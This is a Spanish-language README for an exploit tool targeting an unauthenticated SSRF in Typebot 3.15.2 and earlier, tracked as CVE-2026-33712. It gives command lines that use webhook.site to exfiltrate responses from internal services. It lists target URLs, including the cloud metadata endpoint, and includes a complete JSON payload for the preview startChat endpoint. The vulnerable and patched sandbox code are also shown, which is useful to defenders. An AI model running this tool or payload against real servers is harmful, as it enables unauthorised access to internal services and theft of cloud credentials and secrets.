
CVE-2026-33712 - Typebot <= 3.15.2 SSRF no autenticado a través del fetch del sandbox de isolated-vm
Typebot <= 3.15.2 (corregido en 3.16.0) contiene una vulnerabilidad de Server-Side Request Forgery (SSRF) no autenticada en el endpoint de chat de vista previa.
Endpoint: POST /api/v1/typebots/{typebotId}/preview/startChat
El endpoint de vista previa acepta una definición de typebot proporcionada por el usuario con bloques de código (Code) en el servidor. La función fetch() expuesta dentro del sandbox isolated-vm llama al fetch nativo de Node.js sin la validación SSRF validateHttpReqUrl() que protege el bloque normal de HTTP Request. Esto omite todas las mitigaciones de SSRF.
Esta herramienta se proporciona únicamente con fines educativos y para pruebas de seguridad autorizadas. El uso no autorizado contra sistemas que no posees o para los que no tienes permiso explícito de prueba es ilegal. El autor no es responsable de ningún uso indebido o daño causado por esta herramienta.
__ENV.js| Archivo | Descripción |
|---|---|
exploit.py | Script principal de explotación |
endpoints.txt | Una URL por línea: objetivos SSRF a escanear |
requirements.txt | Dependencias de Python |
pip install -r requirements.txt
# Single SSRF request
python3 exploit.py -t bot.example.com -u http://127.0.0.1:3000/__ENV.js -w https://webhook.site/your-uuid
# Scan all URLs from endpoints.txt
python3 exploit.py -t bot.example.com -w https://webhook.site/your-uuid --scan
# Auto-detect viewer URL from builder's __ENV.js
python3 exploit.py -t 192.168.1.10:3011 -w https://webhook.site/your-uuid --detect-viewer --scan
# Skip pre-flight and force execution
python3 exploit.py -t bot.example.com -w https://webhook.site/your-uuid --scan --force
bot.example.com sin http://, se añade automáticamente.vulnerable, parcheado (requiere autenticación) o endpoint_missing (URL/versión incorrecta). Sale de forma anticipada si falla, salvo que se use --force.endpoints.txt, itera sobre cada URL y exfiltra el contenido al webhook.Una URL sin procesar por línea. Las líneas en blanco se ignoran. Sin comentarios ni categorías.
http://127.0.0.1:3000/__ENV.js
http://typebot-builder:3000/
http://169.254.169.254/latest/meta-data/
En packages/variables/src/executeFunction.ts, el fetch() expuesto dentro del sandbox isolated-vm llamaba originalmente al fetch nativo de Node.js sin validación SSRF:
// VULNERABLE (<=3.15.2):
globalThis.fetch = (...args) => $0.apply(undefined, args, {
new Reference(async (...fetchArgs) => {
const [input, init] = fetchArgs;
const res = await fetch(input, init); // No validateHttpReqUrl!
return res.text();
}),
});
// PATCHED (>=3.16.0):
globalThis.fetch = (...args) => $0.apply(undefined, args, {
new Reference(async (...fetchArgs) => {
const [input, init] = fetchArgs;
const request = new Request(input, init);
await validateHttpReqUrl(request.url); // SSRF check added
validateHttpReqHeaders(headers);
}),
});
La corrección (commit d96f572) también reordenó las comprobaciones en getTypebot() para que la validación de autenticación se ejecute antes del atajo de typebot personalizado, y movió el endpoint de vista previa del viewer de procedureWithOptionalUser a protectedProcedure.
{
"typebotId": "exploit-id",
"typebot": {
"version": "6",
"id": "exploit-bot",
"workspaceId": "test",
"updatedAt": "2026-01-01T00:00:00.000Z",
"groups": [
{
"id": "group-1", "title": "Start",
"graphCoordinates": {"x": 0, "y": 0},
"blocks": [
{"id": "block-1", "type": "start", "label": "Start", "outgoingEdgeId": "edge-1"}
]
},
{
"id": "group-2", "title": "SSRF",
"graphCoordinates": {"x": 200, "y": 0},
"blocks": [
{
"id": "block-2", "type": "Code",
"outgoingEdgeId": "edge-2",
"options": {
"name": "SSRF",
"content": "const res = await fetch(\"http://127.0.0.1:3000/\"); setVariable(\"result\", res);",
"isExecutedOnClient": false,
"isUnsafe": true
}
}
]
}
],
"edges": [
{"id": "edge-1", "from": {"blockId": "block-1"}, "to": {"groupId": "group-2"}}
],
"events": [
{"id": "event-1", "type": "start", "outgoingEdgeId": "edge-1", "graphCoordinates": {"x": 0, "y": 0}}
],
"variables": [
{"id": "var-1", "name": "result", "value": null}
],
"settings": {"general": {}},
"theme": {"general": {}, "chat": {}}
}
}
Importante: fetch() dentro del sandbox ya devuelve .text(), por lo que el resultado es una cadena, no un objeto Response.
| Argumento | Descripción |
|---|
-t / --target | URL de la instancia de Typebot (viewer o builder). El esquema por defecto es http:// |
-u / --url | URL interna a consultar vía SSRF (modo único) |
-w / --webhook | URL del webhook para los datos exfiltrados (o variable de entorno WEBHOOK_URL) |
--scan | Escanear todas las URLs de endpoints.txt |
--detect-viewer | Sondear /__ENV.js en el objetivo para encontrar NEXT_PUBLIC_VIEWER_URL y usarla |
--force | Omitir las comprobaciones previas y forzar la ejecución |
--timeout | Tiempo de espera de las solicitudes (por defecto: 20 s) |
--delay | Retardo entre solicitudes de escaneo (por defecto: 0,3 s) |